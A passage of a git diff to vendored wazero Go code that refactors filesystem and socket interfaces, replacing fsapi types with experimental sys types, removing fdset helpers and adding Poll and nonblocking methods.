fs.FileMode) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Rename implements FS.Rename -func (UnimplementedFS) Rename(from, to string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Rmdir implements FS.Rmdir -func (UnimplementedFS) Rmdir(path string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Link implements FS.Link -func (UnimplementedFS) Link(_, _ string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Symlink implements FS.Symlink -func (UnimplementedFS) Symlink(_, _ string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Unlink implements FS.Unlink -func (UnimplementedFS) Unlink(path string) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Utimens implements FS.Utimens -func (UnimplementedFS) Utimens(path string, times *[2]syscall.Timespec) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Truncate implements FS.Truncate -func (UnimplementedFS) Truncate(string, int64) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// UnimplementedFile is a File that returns ENOSYS for all functions, -// except where no-op are otherwise documented. -// -// This should be embedded to have forward compatible implementations. -type UnimplementedFile struct{} - -// Dev implements File.Dev -func (UnimplementedFile) Dev() (uint64, experimentalsys.Errno) { - return 0, 0 -} - -// Ino implements File.Ino -func (UnimplementedFile) Ino() (sys.Inode, experimentalsys.Errno) { - return 0, 0 -} - -// IsDir implements File.IsDir -func (UnimplementedFile) IsDir() (bool, experimentalsys.Errno) { - return false, 0 +func Adapt(f experimentalsys.File) File { + if f, ok := f.(File); ok { + return f + } + return unimplementedFile{f} } -// IsAppend implements File.IsAppend -func (UnimplementedFile) IsAppend() bool { - return false -} - -// SetAppend implements File.SetAppend -func (UnimplementedFile) SetAppend(bool) experimentalsys.Errno { - return experimentalsys.ENOSYS -} +type unimplementedFile struct{ experimentalsys.File } // IsNonblock implements File.IsNonblock -func (UnimplementedFile) IsNonblock() bool { +func (unimplementedFile) IsNonblock() bool { return false } // SetNonblock implements File.SetNonblock -func (UnimplementedFile) SetNonblock(bool) experimentalsys.Errno { +func (unimplementedFile) SetNonblock(bool) experimentalsys.Errno { return experimentalsys.ENOSYS } -// Stat implements File.Stat -func (UnimplementedFile) Stat() (sys.Stat_t, experimentalsys.Errno) { - return sys.Stat_t{}, experimentalsys.ENOSYS -} - -// Read implements File.Read -func (UnimplementedFile) Read([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Pread implements File.Pread -func (UnimplementedFile) Pread([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Seek implements File.Seek -func (UnimplementedFile) Seek(int64, int) (int64, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Readdir implements File.Readdir -func (UnimplementedFile) Readdir(int) (dirents []Dirent, errno experimentalsys.Errno) { - return nil, experimentalsys.ENOSYS -} - -// PollRead implements File.PollRead -func (UnimplementedFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { +// Poll implements File.Poll +func (unimplementedFile) Poll(Pflag, int32) (ready bool, errno experimentalsys.Errno) { return false, experimentalsys.ENOSYS } - -// Write implements File.Write -func (UnimplementedFile) Write([]byte) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Pwrite implements File.Pwrite -func (UnimplementedFile) Pwrite([]byte, int64) (int, experimentalsys.Errno) { - return 0, experimentalsys.ENOSYS -} - -// Truncate implements File.Truncate -func (UnimplementedFile) Truncate(int64) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Sync implements File.Sync -func (UnimplementedFile) Sync() experimentalsys.Errno { - return 0 // not ENOSYS -} - -// Datasync implements File.Datasync -func (UnimplementedFile) Datasync() experimentalsys.Errno { - return 0 // not ENOSYS -} - -// Utimens implements File.Utimens -func (UnimplementedFile) Utimens(*[2]syscall.Timespec) experimentalsys.Errno { - return experimentalsys.ENOSYS -} - -// Close implements File.Close -func (UnimplementedFile) Close() (errno experimentalsys.Errno) { return } diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go deleted file mode 100644 index 1017c805ac..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset.go +++ /dev/null @@ -1,25 +0,0 @@ -//go:build !windows - -package platform - -// Set adds the given fd to the set. -func (f *FdSet) Set(fd int) { - f.Bits[fd/nfdbits] |= (1 << (uintptr(fd) % nfdbits)) -} - -// Clear removes the given fd from the set. -func (f *FdSet) Clear(fd int) { - f.Bits[fd/nfdbits] &^= (1 << (uintptr(fd) % nfdbits)) -} - -// IsSet returns true when fd is in the set. -func (f *FdSet) IsSet(fd int) bool { - return f.Bits[fd/nfdbits]&(1<<(uintptr(fd)%nfdbits)) != 0 -} - -// Zero clears the set. -func (f *FdSet) Zero() { - for i := range f.Bits { - f.Bits[i] = 0 - } -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go deleted file mode 100644 index da52339cbc..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_darwin.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x20 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go deleted file mode 100644 index f392caf4c1..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_linux.go +++ /dev/null @@ -1,8 +0,0 @@ -package platform - -import "syscall" - -const nfdbits = 0x40 - -// FdSet re-exports syscall.FdSet with utility methods. -type FdSet syscall.FdSet diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go deleted file mode 100644 index ad9cf09109..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_unsupported.go +++ /dev/null @@ -1,10 +0,0 @@ -//go:build !darwin && !linux && !windows - -package platform - -const nfdbits = 0x40 - -// FdSet mocks syscall.FdSet on systems that do not support it. -type FdSet struct { - Bits [16]int64 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go b/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go deleted file mode 100644 index 60773ed54a..0000000000 --- a/vendor/github.com/tetratelabs/wazero/internal/platform/fdset_windows.go +++ /dev/null @@ -1,239 +0,0 @@ -package platform - -import ( - "syscall" - "unsafe" -) - -var procGetNamedPipeInfo = kernel32.NewProc("GetNamedPipeInfo") - -// Maximum number of fds in a WinSockFdSet. -const _FD_SETSIZE = 64 - -// WinSockFdSet implements the FdSet representation that is used internally by WinSock. -// -// Note: this representation is quite different from the one used in most POSIX implementations -// where a bitfield is usually implemented; instead on Windows we have a simpler array+count pair. -// Notice that because it keeps a count of the inserted handles, the first argument of select -// in WinSock is actually ignored. -// -// The implementation of the Set, Clear, IsSet, Zero, methods follows exactly -// the real implementation found in WinSock2.h, e.g. see: -// https://github.com/microsoft/win32metadata/blob/ef7725c75c6b39adfdc13ba26fb1d89ac954449a/generation/WinSDK/RecompiledIdlHeaders/um/WinSock2.h#L124-L175 -type WinSockFdSet struct { - // count is the number of used slots used in the handles slice. - count uint64 - // handles is the array of handles. This is called "array" in the WinSock implementation - // and it has a fixed length of _FD_SETSIZE. - handles [_FD_SETSIZE]syscall.Handle -} - -// FdSet implements the same methods provided on other plaforms. -// -// Note: the implementation is very different from POSIX; Windows provides -// POSIX select only for sockets. We emulate a select for other APIs in the sysfs -// package, but we still want to use the "real" select in the case of sockets. -// So, we keep separate FdSets for sockets, pipes and regular files, so that we can -// handle them separately. For instance sockets can be used directly in winsock select. -type FdSet struct { - sockets WinSockFdSet - pipes WinSockFdSet - regular WinSockFdSet -} - -// SetAll overwrites all the fields in f with the fields in g. -func (f *FdSet) SetAll(g *FdSet) { - if f == nil { - return - } - f.sockets = g.sockets - f.pipes = g.pipes - f.regular = g.regular -} - -// Sockets returns a WinSockFdSet containing the handles in this FdSet that are sockets. -func (f *FdSet) Sockets() *WinSockFdSet { - if f == nil { - return nil - } - return &f.sockets -} - -// Regular returns a WinSockFdSet containing the handles in this FdSet that are regular files. -func (f *FdSet) Regular() *WinSockFdSet { - if f == nil { - return nil - } - return &f.regular -} - -// Pipes returns a WinSockFdSet containing the handles in this FdSet that are pipes. -func (f *FdSet) Pipes() *WinSockFdSet { - if f == nil { - return nil - } - return &f.pipes -} - -// getFdSetFor returns a pointer to the right fd set for the given fd. -// It checks the type for fd and returns the field for pipes, regular or sockets -// to simplify code. -// -// For instance, if fd is a socket and it must be set if f.pipes, instead -// of writing: -// -// if isSocket(fd) { -// f.sockets.Set(fd) -// } -// -// It is possible to write: -// -// f.getFdSetFor(fd).Set(fd) -func (f *FdSet) getFdSetFor(fd int) *WinSockFdSet { - h := syscall.Handle(fd) - t, err := syscall.GetFileType(h) - if err != nil { - return nil - } - switch t { - case syscall.FILE_TYPE_CHAR, syscall.FILE_TYPE_DISK: - return &f.regular - case syscall.FILE_TYPE_PIPE: - if isSocket(h) { - return &f.sockets - } else { - return &f.pipes - } - default: - return nil - } -} - -// Set adds the given fd to the set. -func (f *FdSet) Set(fd int) { - if s := f.getFdSetFor(fd); s != nil { - s.Set(fd) - } -} - -// Clear removes the given fd from the set. -func (f *FdSet) Clear(fd int) { - if s := f.getFdSetFor(fd); s != nil { - s.Clear(fd) - } -} - -// IsSet returns true when fd is in the set. -func (f *FdSet) IsSet(fd int) bool { - if s := f.getFdSetFor(fd); s != nil { - return s.IsSet(fd) - } - return false -} - -// Copy returns a copy of this FdSet. It returns nil, if the FdSet is nil. -func (f *FdSet) Copy() *FdSet { - if f == nil { - return nil - } - return &FdSet{ - sockets: f.sockets, - pipes: f.pipes, - regular: f.regular, - } -} - -// Zero clears the set. It returns 0 if the FdSet is nil. -func (f *FdSet) Count() int { - if f == nil { - return 0 - } - return f.sockets.Count() + f.regular.Count() + f.pipes.Count() -} - -// Zero clears the set. -func (f *FdSet) Zero() { - if f == nil { - return - } - f.sockets.Zero() - f.regular.Zero() - f.pipes.Zero() -} - -// Set adds the given fd to the set. -func (f *WinSockFdSet) Set(fd int) { - if f.count < _FD_SETSIZE { - f.handles[f.count] = syscall.Handle(fd) - f.count++ - } -} - -// Clear removes the given fd from the set. -func (f *WinSockFdSet) Clear(fd int) { - h := syscall.Handle(fd) - for i := uint64(0); i < f.count; i++ { - if f.handles[i] == h { - for ; i < f.count-1; i++ { - f.handles[i] = f.handles[i+1] - } - f.count-- - break - } - } -} - -// IsSet returns true when fd is in the set. -func (f *WinSockFdSet) IsSet(fd int) bool { - h := syscall.Handle(fd) - for i := uint64(0); i < f.count; i++ { - if f.handles[i] == h { - return true - } - } - return false -} - -// Zero clears the set. -func (f *WinSockFdSet) Zero() { - if f == nil { - return - } - f.handles = [64]syscall.Handle{} - f.count = 0 -} - -// Count returns the number of values that are set in the fd set. -func (f *WinSockFdSet) Count() int { - if f == nil { - return 0 - } - return int(f.count) -} - -// Copy returns a copy of the fd set or nil if it is nil. -func (f *WinSockFdSet) Copy() *WinSockFdSet { - if f == nil { - return nil - } - copy := *f - return © -} - -// Get returns the handle at the given index. -func (f *WinSockFdSet) Get(index int) syscall.Handle { - return f.handles[index] -} - -// isSocket returns true if the given file handle -// is a pipe. -func isSocket(fd syscall.Handle) bool { - r, _, errno := syscall.SyscallN( - procGetNamedPipeInfo.Addr(), - uintptr(fd), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil)), - uintptr(unsafe.Pointer(nil))) - return r == 0 || errno != 0 -} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go index c49d1fbb22..ca17aa39ee 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock.go @@ -5,25 +5,24 @@ import ( "net" "github.com/tetratelabs/wazero/experimental/sys" - "github.com/tetratelabs/wazero/internal/fsapi" ) // TCPSock is a pseudo-file representing a TCP socket. type TCPSock interface { - fsapi.File + sys.File Accept() (TCPConn, sys.Errno) } // TCPConn is a pseudo-file representing a TCP connection. type TCPConn interface { - fsapi.File + sys.File // Recvfrom only supports the flag sysfs.MSG_PEEK - // TODO: document this like fsapi.File with known sys.Errno + // TODO: document this like sys.File with known sys.Errno Recvfrom(p []byte, flags int) (n int, errno sys.Errno) - // TODO: document this like fsapi.File with known sys.Errno + // TODO: document this like sys.File with known sys.Errno Shutdown(how int) sys.Errno } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go new file mode 100644 index 0000000000..30cdb9f926 --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_supported.go @@ -0,0 +1,11 @@ +//go:build !plan9 && !js + +package sock + +import "syscall" + +const ( + SHUT_RD = syscall.SHUT_RD + SHUT_RDWR = syscall.SHUT_RDWR + SHUT_WR = syscall.SHUT_WR +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go new file mode 100644 index 0000000000..76ec031efa --- /dev/null +++ b/vendor/github.com/tetratelabs/wazero/internal/sock/sock_unsupported.go @@ -0,0 +1,10 @@ +//go:build plan9 || js + +package sock + +// plan9/js doesn't declare these constants +const ( + SHUT_RD = 1 << iota + SHUT_WR + SHUT_RDWR = SHUT_RD | SHUT_WR +) diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go index f85e2ff24e..332a952626 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/fs.go @@ -48,7 +48,7 @@ type FileEntry struct { IsPreopen bool // FS is the filesystem associated with the pre-open. - FS fsapi.FS + FS sys.FS // File is always non-nil. File fsapi.File @@ -91,7 +91,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { return f.direntCache, 0 } -// DirentCache is a caching abstraction of fsapi.File Readdir. +// DirentCache is a caching abstraction of sys.File Readdir. // // This is special-cased for "wasi_snapshot_preview1.fd_readdir", and may be // unneeded, or require changes, to support preview1 or preview2. @@ -99,7 +99,7 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { // described below, any may need to be re-read. This accepts any positions // in the cache, rather than track the position of the last dirent. // - dot entries ("." and "..") must be returned. See /RATIONALE.md for why. -// - An fsapi.Dirent Name is variable length, it could exceed memory size and +// - An sys.Dirent Name is variable length, it could exceed memory size and // need to be re-read. // - Multiple dirents may be returned. It is more efficient to read from the // underlying file in bulk vs one-at-a-time. @@ -110,17 +110,17 @@ func (f *FileEntry) DirentCache() (*DirentCache, sys.Errno) { // approach is sometimes called a sliding window. type DirentCache struct { // f is the underlying file - f fsapi.File + f sys.File // dotEntries are the "." and ".." entries added when the directory is // initialized. - dotEntries []fsapi.Dirent + dotEntries []sys.Dirent // dirents are the potentially unread directory entries. // // Internal detail: nil is different from zero length. Zero length is an // exhausted directory (eof). nil means the re-read. - dirents []fsapi.Dirent + dirents []sys.Dirent // countRead is the total count of dirents read since last rewind. countRead uint64 @@ -132,28 +132,28 @@ type DirentCache struct { } // synthesizeDotEntries generates a slice of the two elements "." and "..". -func synthesizeDotEntries(f *FileEntry) ([]fsapi.Dirent, sys.Errno) { +func synthesizeDotEntries(f *FileEntry) ([]sys.Dirent, sys.Errno) { dotIno, errno := f.File.Ino() if errno != 0 { return nil, errno } - result := [2]fsapi.Dirent{} - result[0] = fsapi.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir} + result := [2]sys.Dirent{} + result[0] = sys.Dirent{Name: ".", Ino: dotIno, Type: fs.ModeDir} // See /RATIONALE.md for why we don't attempt to get an inode for ".." and // why in wasi-libc this won't fan-out either. - result[1] = fsapi.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir} + result[1] = sys.Dirent{Name: "..", Ino: 0, Type: fs.ModeDir} return result[:], 0 } // exhaustedDirents avoids allocating empty slices. -var exhaustedDirents = [0]fsapi.Dirent{} +var exhaustedDirents = [0]sys.Dirent{} -// Read is similar to and returns the same errors as `Readdir` on fsapi.File. +// Read is similar to and returns the same errors as `Readdir` on sys.File. // The main difference is this caches entries returned, resulting in multiple // valid positions to read from. // // When zero, `pos` means rewind to the beginning of this directory. This -// implies a rewind (Seek to zero on the underlying fsapi.File), unless the +// implies a rewind (Seek to zero on the underlying sys.File), unless the // initial entries are still cached. // // When non-zero, `pos` is the zero based index of all dirents returned since @@ -162,9 +162,9 @@ var exhaustedDirents = [0]fsapi.Dirent{} // described on DirentCache documentation. // // Up to `n` entries are cached and returned. When `n` exceeds the cache, the -// difference are read from the underlying fsapi.File via `Readdir`. EOF is +// difference are read from the underlying sys.File via `Readdir`. EOF is // when `len(dirents)` returned are less than `n`. -func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno sys.Errno) { +func (d *DirentCache) Read(pos uint64, n uint32) (dirents []sys.Dirent, errno sys.Errno) { switch { case pos > d.countRead: // farther than read or negative coerced to uint64. return nil, sys.ENOENT @@ -239,7 +239,7 @@ func (d *DirentCache) Read(pos uint64, n uint32) (dirents []fsapi.Dirent, errno } // cachedDirents returns up to `n` dirents from the cache. -func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent { +func (d *DirentCache) cachedDirents(n uint32) []sys.Dirent { direntCount := uint32(len(d.dirents)) switch { case direntCount == 0: @@ -252,7 +252,7 @@ func (d *DirentCache) cachedDirents(n uint32) []fsapi.Dirent { type FSContext struct { // rootFS is the root ("/") mount. - rootFS fsapi.FS + rootFS sys.FS // openedFiles is a map of file descriptor numbers (>=FdPreopen) to open files // (or directories) and defaults to empty. @@ -269,9 +269,9 @@ type FileTable = descriptor.Table[int32, *FileEntry] // // TODO: This is only used by GOOS=js and tests: Remove when we remove GOOS=js // (after Go 1.22 is released). -func (c *FSContext) RootFS() fsapi.FS { +func (c *FSContext) RootFS() sys.FS { if rootFS := c.rootFS; rootFS == nil { - return fsapi.UnimplementedFS{} + return sys.UnimplementedFS{} } else { return rootFS } @@ -284,11 +284,11 @@ func (c *FSContext) LookupFile(fd int32) (*FileEntry, bool) { // OpenFile opens the file into the table and returns its file descriptor. // The result must be closed by CloseFile or Close. -func (c *FSContext) OpenFile(fs fsapi.FS, path string, flag fsapi.Oflag, perm fs.FileMode) (int32, sys.Errno) { +func (c *FSContext) OpenFile(fs sys.FS, path string, flag sys.Oflag, perm fs.FileMode) (int32, sys.Errno) { if f, errno := fs.OpenFile(path, flag, perm); errno != 0 { return 0, errno } else { - fe := &FileEntry{FS: fs, File: f} + fe := &FileEntry{FS: fs, File: fsapi.Adapt(f)} if path == "/" || path == "." { fe.Name = "" } else { @@ -330,8 +330,8 @@ func (c *FSContext) Renumber(from, to int32) sys.Errno { return 0 } -// SockAccept accepts a socketapi.TCPConn into the file table and returns -// its file descriptor. +// SockAccept accepts a sock.TCPConn into the file table and returns its file +// descriptor. func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { var sock socketapi.TCPSock if e, ok := c.LookupFile(sockFD); !ok || !e.IsPreopen { @@ -340,18 +340,20 @@ func (c *FSContext) SockAccept(sockFD int32, nonblock bool) (int32, sys.Errno) { return 0, sys.EBADF // Not a sock } - var conn socketapi.TCPConn - var errno sys.Errno - if conn, errno = sock.Accept(); errno != 0 { + conn, errno := sock.Accept() + if errno != 0 { return 0, errno - } else if nonblock { - if errno = conn.SetNonblock(true); errno != 0 { + } + + fe := &FileEntry{File: fsapi.Adapt(conn)} + + if nonblock { + if errno = fe.File.SetNonblock(true); errno != 0 { _ = conn.Close() return 0, errno } } - fe := &FileEntry{File: conn} if newFD, ok := c.openedFiles.Insert(fe); !ok { return 0, sys.EBADF } else { @@ -391,7 +393,7 @@ func (c *FSContext) Close() (err error) { func (c *Context) InitFSContext( stdin io.Reader, stdout, stderr io.Writer, - fs []fsapi.FS, guestPaths []string, + fs []sys.FS, guestPaths []string, tcpListeners []*net.TCPListener, ) (err error) { inFile, err := stdinFileEntry(stdin) @@ -427,7 +429,7 @@ func (c *Context) InitFSContext( } for _, tl := range tcpListeners { - c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: sysfs.NewTCPListenerFile(tl)}) + c.fsc.openedFiles.Insert(&FileEntry{IsPreopen: true, File: fsapi.Adapt(sysfs.NewTCPListenerFile(tl))}) } return nil } diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go index 011a5a4dc5..fe233d29ea 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/lazy.go @@ -1,126 +1,124 @@ package sys import ( - "syscall" - experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" "github.com/tetratelabs/wazero/sys" ) -// compile-time check to ensure lazyDir implements fsapi.File. -var _ fsapi.File = (*lazyDir)(nil) +// compile-time check to ensure lazyDir implements sys.File. +var _ experimentalsys.File = (*lazyDir)(nil) type lazyDir struct { - fsapi.DirFile + experimentalsys.DirFile - fs fsapi.FS - f fsapi.File + fs experimentalsys.FS + f experimentalsys.File } -// Dev implements the same method as documented on fsapi.File -func (r *lazyDir) Dev() (uint64, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Dev implements the same method as documented on sys.File +func (d *lazyDir) Dev() (uint64, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Dev() } } -// Ino implements the same method as documented on fsapi.File -func (r *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Ino implements the same method as documented on sys.File +func (d *lazyDir) Ino() (sys.Inode, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Ino() } } -// IsDir implements the same method as documented on fsapi.File -func (r *lazyDir) IsDir() (bool, experimentalsys.Errno) { +// IsDir implements the same method as documented on sys.File +func (d *lazyDir) IsDir() (bool, experimentalsys.Errno) { // Note: we don't return a constant because we don't know if this is really // backed by a dir, until the first call. - if f, ok := r.file(); !ok { + if f, ok := d.file(); !ok { return false, experimentalsys.EBADF } else { return f.IsDir() } } -// IsAppend implements the same method as documented on fsapi.File -func (r *lazyDir) IsAppend() bool { +// IsAppend implements the same method as documented on sys.File +func (d *lazyDir) IsAppend() bool { return false } -// SetAppend implements the same method as documented on fsapi.File -func (r *lazyDir) SetAppend(bool) experimentalsys.Errno { +// SetAppend implements the same method as documented on sys.File +func (d *lazyDir) SetAppend(bool) experimentalsys.Errno { return experimentalsys.EISDIR } -// Seek implements the same method as documented on fsapi.File -func (r *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Seek implements the same method as documented on sys.File +func (d *lazyDir) Seek(offset int64, whence int) (newOffset int64, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { return 0, experimentalsys.EBADF } else { return f.Seek(offset, whence) } } -// Stat implements the same method as documented on fsapi.File -func (r *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Stat implements the same method as documented on sys.File +func (d *lazyDir) Stat() (sys.Stat_t, experimentalsys.Errno) { + if f, ok := d.file(); !ok { return sys.Stat_t{}, experimentalsys.EBADF } else { return f.Stat() } } -// Readdir implements the same method as documented on fsapi.File -func (r *lazyDir) Readdir(n int) (dirents []fsapi.Dirent, errno experimentalsys.Errno) { - if f, ok := r.file(); !ok { +// Readdir implements the same method as documented on sys.File +func (d *lazyDir) Readdir(n int) (dirents []experimentalsys.Dirent, errno experimentalsys.Errno) { + if f, ok := d.file(); !ok { return nil, experimentalsys.EBADF } else { return f.Readdir(n) } } -// Sync implements the same method as documented on fsapi.File -func (r *lazyDir) Sync() experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Sync implements the same method as documented on sys.File +func (d *lazyDir) Sync() experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { return f.Sync() } } -// Datasync implements the same method as documented on fsapi.File -func (r *lazyDir) Datasync() experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Datasync implements the same method as documented on sys.File +func (d *lazyDir) Datasync() experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { return f.Datasync() } } -// Utimens implements the same method as documented on fsapi.File -func (r *lazyDir) Utimens(times *[2]syscall.Timespec) experimentalsys.Errno { - if f, ok := r.file(); !ok { +// Utimens implements the same method as documented on sys.File +func (d *lazyDir) Utimens(atim, mtim int64) experimentalsys.Errno { + if f, ok := d.file(); !ok { return experimentalsys.EBADF } else { - return f.Utimens(times) + return f.Utimens(atim, mtim) } } // file returns the underlying file or false if it doesn't exist. -func (r *lazyDir) file() (fsapi.File, bool) { - if f := r.f; r.f != nil { +func (d *lazyDir) file() (experimentalsys.File, bool) { + if f := d.f; d.f != nil { return f, true } var errno experimentalsys.Errno - r.f, errno = r.fs.OpenFile(".", fsapi.O_RDONLY, 0) + d.f, errno = d.fs.OpenFile(".", experimentalsys.O_RDONLY, 0) switch errno { case 0: - return r.f, true + return d.f, true case experimentalsys.ENOENT: return nil, false default: @@ -129,10 +127,25 @@ func (r *lazyDir) file() (fsapi.File, bool) { } // Close implements fs.File -func (r *lazyDir) Close() experimentalsys.Errno { - f := r.f +func (d *lazyDir) Close() experimentalsys.Errno { + f := d.f if f == nil { return 0 // never opened } return f.Close() } + +// IsNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (d *lazyDir) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.EISDIR +} + +// Poll implements the same method as documented on fsapi.File +func (d *lazyDir) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go index b153e32c19..32c33661eb 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go +++ b/vendor/github.com/tetratelabs/wazero/internal/sys/stdio.go @@ -3,7 +3,6 @@ package sys import ( "io" "os" - "time" experimentalsys "github.com/tetratelabs/wazero/experimental/sys" "github.com/tetratelabs/wazero/internal/fsapi" @@ -19,7 +18,7 @@ type StdinFile struct { io.Reader } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (f *StdinFile) Read(buf []byte) (int, experimentalsys.Errno) { n, err := f.Reader.Read(buf) return n, experimentalsys.UnwrapOSError(err) @@ -31,7 +30,7 @@ type writerFile struct { w io.Writer } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (f *writerFile) Write(buf []byte) (int, experimentalsys.Errno) { n, err := f.w.Write(buf) return n, experimentalsys.UnwrapOSError(err) @@ -44,13 +43,16 @@ type noopStdinFile struct { noopStdioFile } -// Read implements the same method as documented on fsapi.File +// Read implements the same method as documented on sys.File func (noopStdinFile) Read([]byte) (int, experimentalsys.Errno) { return 0, 0 // Always EOF } -// PollRead implements the same method as documented on fsapi.File -func (noopStdinFile) PollRead(*time.Duration) (ready bool, errno experimentalsys.Errno) { +// Poll implements the same method as documented on fsapi.File +func (noopStdinFile) Poll(flag fsapi.Pflag, timeoutMillis int32) (ready bool, errno experimentalsys.Errno) { + if flag != fsapi.POLLIN { + return false, experimentalsys.ENOTSUP + } return true, 0 // always ready to read nothing } @@ -60,28 +62,43 @@ type noopStdoutFile struct { noopStdioFile } -// Write implements the same method as documented on fsapi.File +// Write implements the same method as documented on sys.File func (noopStdoutFile) Write(buf []byte) (int, experimentalsys.Errno) { return len(buf), 0 // same as io.Discard } type noopStdioFile struct { - fsapi.UnimplementedFile + experimentalsys.UnimplementedFile } -// Stat implements the same method as documented on fsapi.File +// Stat implements the same method as documented on sys.File func (noopStdioFile) Stat() (sys.Stat_t, experimentalsys.Errno) { return sys.Stat_t{Mode: modeDevice, Nlink: 1}, 0 } -// IsDir implements the same method as documented on fsapi.File +// IsDir implements the same method as documented on sys.File func (noopStdioFile) IsDir() (bool, experimentalsys.Errno) { return false, 0 } -// Close implements the same method as documented on fsapi.File +// Close implements the same method as documented on sys.File func (noopStdioFile) Close() (errno experimentalsys.Errno) { return } +// IsNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) IsNonblock() bool { + return false +} + +// SetNonblock implements the same method as documented on fsapi.File +func (noopStdioFile) SetNonblock(bool) experimentalsys.Errno { + return experimentalsys.ENOSYS +} + +// Poll implements the same method as documented on fsapi.File +func (noopStdioFile) Poll(fsapi.Pflag, int32) (ready bool, errno experimentalsys.Errno) { + return false, experimentalsys.ENOSYS +} + func stdinFileEntry(r io.Reader) (*FileEntry, error) { if r == nil { return &FileEntry{Name: "stdin", IsPreopen: true, File: &noopStdinFile{}}, nil diff --git a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go b/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go index aedd7c7035..12279ee495 100644 --- a/vendor/github.com/tetratelabs/wazero/internal/sys/sys.go +++ 